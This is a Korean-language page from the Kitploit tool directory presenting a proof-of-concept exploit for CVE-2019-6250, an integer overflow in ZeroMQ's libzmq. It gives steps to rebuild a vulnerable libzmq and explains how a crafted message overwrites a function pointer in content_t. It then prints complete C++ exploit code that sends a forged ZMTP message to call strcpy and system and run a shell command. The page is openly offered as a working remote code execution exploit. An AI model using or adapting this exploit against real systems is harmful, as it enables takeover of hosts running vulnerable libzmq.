Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-6250-libzmq — CVE-2019-6250에 대한 개념 증명 익스플로잇으로, ZeroMQ의 libzmq에서 정수 오버플로우를 통해 조작된 메시지로 임의 코드 실행을 유발함을 보여줍니다. | Kitploit
도구/GitHubGitHub/akashicyitai/cve-2019-6250-libzmq
Memory ForensicsVulnerability AnalysisExploitationFuzzingPayload DevelopmentBinary Exploitation
GitHubakashicyitai/cve-2019-6250-libzmq

CVE-2019-6250-libzmq

CVE-2019-6250에 대한 개념 증명 익스플로잇으로, ZeroMQ의 libzmq에서 정수 오버플로우를 통해 조작된 메시지로 임의 코드 실행을 유발함을 보여줍니다.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-6250-libzmq

ZeroMQ(ZMQ)

ZeroMQ(ZMQ)는 고성능 비동기 메시징 라이브러리로, 분산 또는 병렬 컴퓨팅 환경을 위해 효율적이고 유연한 메시지 전달 메커니즘을 제공합니다. ZeroMQ는 다양한 메시징 패턴(예: 요청-응답, 발행-구독, 푸시-풀, 프록시 등)을 제공하며, 여러 전송 프로토콜(TCP, IPC, PGM 등)을 지원합니다. ZeroMQ의 설계 목표는 네트워크 프로그래밍을 단순화하고 효율적인 메시지 큐를 제공하여 성능을 향상시키는 것입니다.

libzmq

libzmq는 ZeroMQ의 핵심 구현 라이브러리로, 일반적으로 ZeroMQ 라이브러리의 C 언어 구현을 의미합니다. 이는 ZeroMQ 기능의 구체적인 구현으로, 여러 프로그래밍 언어에 기본 지원을 제공합니다. libzmq는 모든 ZeroMQ 핵심 기능을 제공하며 다양한 언어 바인딩과 함께 사용될 수 있습니다.

공격 방식

libzmq 라이브러리 다운로드

root@kitploit:~
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3

저자는 이 취약점을 이미 수정했습니다. src/v2_decoder.cpp로 이동하여 함수 zmq::v2_decoder_t::size_ready의 내용을 다음 코드로 수정하여 취약점을 재현합니다:

root@kitploit:~
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
    int rc = _in_progress.close ();
    assert (rc == 0);

    // the current message can exceed the current buffer. We have to copy the buffer
    // data into a new message and complete it in the next receive.

    shared_message_memory_allocator &allocator = get_allocator ();
    if (unlikely (!_zero_copy
                  || ((unsigned char *) read_pos_ + msg_size_
                      > (allocator.data () + allocator.size ())))) {
        // a new message has started, but the size would exceed the pre-allocated arena
        // this happens every time when a message does not fit completely into the buffer
        rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
    } else {
        // construct message using n bytes from the buffer as storage
        // increase buffer ref count
        // if the message will be a large message, pass a valid refcnt memory location as well
        rc =
          _in_progress.init (const_cast<unsigned char *> (read_pos_),
                             static_cast<size_t> (msg_size_),
                             shared_message_memory_allocator::call_dec_ref,
                             allocator.buffer (), allocator.provide_content ());

        // For small messages, data has been copied and refcount does not have to be increased
        if (_in_progress.is_zcmsg ()) {
            allocator.advance_content ();
            allocator.inc_ref ();
        }
    }

    if (unlikely (rc)) {
        errno_assert (errno == ENOMEM);
        rc = _in_progress.init ();
        errno_assert (rc == 0);
        errno = ENOMEM;
        return -1;
    }

    _in_progress.set_flags (_msg_flags);
    // this sets read_pos to
    // the message data address if the data needs to be copied
    // for small message / messages exceeding the current buffer
    // or
    // to the current start address in the buffer because the message
    // was constructed to use n bytes from the address passed as argument
    next_step (_in_progress.data (), _in_progress.size (),
               &v2_decoder_t::message_ready);

    return 0;
}

libzmq 라이브러리 설치

root@kitploit:~
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install

cppzmq 다운로드 및 설치

root@kitploit:~
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install

/demo/main.cpp를 이 저장소의 main.cpp로 교체합니다.

main.cpp 컴파일

root@kitploit:~
cd demo
mkdir build
cd build
cmake ..
make
./demo

취약점 트리거 위치

Libzmq/src/v2_decoder.cpp의 다음 내용에 정수 오버플로우가 존재합니다. msg_size_ 값이 매우 클 때, read_pos+msg_size_는 오히려 매우 작은 수가 되어 if 조건이 false가 되고 프로그램이 메시지 크기를 초기화하지 않습니다. if (unlikely (!zero_copy || ((unsigned char *) read_pos + msg_size_ > (allocator.data () + allocator.size ())))) {

따라서 쓰여진 메시지로 버퍼 뒤의 메모리를 덮어쓸 수 있습니다. 버퍼 뒤의 메모리는 구조체 content_t이며, 여기에는 함수 포인터 ffn과 함수 인자 data 및 hint가 포함됩니다. 67 struct content_t 68 { 69 void *data; 70 size_t size; 71 msg_free_fn *ffn; 72 void *hint; 73 zmq::atomic_counter_t refcnt; 74 };

취약점 악용

전달되는 메시지를 제어하여 위의 함수 포인터와 인자를 특정 함수 및 그 인자로 덮어씀으로써 공격을 수행할 수 있습니다.

root@kitploit:~
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>

class Thread {
    public:
    Thread() : the_thread(&Thread::ThreadMain, this)
    { }
    ~Thread(){
    }
    private:
    std::thread the_thread;
    void ThreadMain() {
        zmq::context_t context (1);
        zmq::socket_t socket (context, ZMQ_REP);
        socket.bind ("tcp://*:6666");

        while (true) {
            zmq::message_t request;

            // Wait for next request from client
            try {
                socket.recv (&request);
            } catch ( ... ) { }
        }
    }
};

static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
    int s;
    struct sockaddr_in remote_addr = {};
    if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        abort();
    }
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons(6666);
    inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);

    if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
    {
        abort();
    }

    const uint8_t greeting[] = {
        0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
        0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
        0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
        0x00, /* Unused */
    };
    send(s, greeting, sizeof(greeting), 0);

    const uint8_t v2msg[] = {
        0x02, /* v2_decoder_t::eight_byte_size_ready */
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
    };
    send(s, v2msg, sizeof(v2msg), 0);

    /* Write UNTIL the location of zmq::msg_t::content_t */
    size_t plsize = 8183;
    uint8_t* pl = (uint8_t*)calloc(1, plsize);
    send(s, pl, plsize, 0);
    free(pl);

    uint8_t content_t_replacement[] = {
        /* void* data */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* size_t size */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* msg_free_fn *ffn */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

        /* void* hint */
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    };

    /* Assumes same endianness as target */
    memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
    memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
    memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));

    /* Overwrite zmq::msg_t::content_t */
    send(s, content_t_replacement, sizeof(content_t_replacement), 0);

    close(s);
    sleep(1);
}

char destbuffer[100];
char srcbuffer[100] = "ping google.com";

int main(void)
{
    Thread* rt = new Thread();
    sleep(1);

    callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);

    callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);

    return 0;
}
도구 다운로드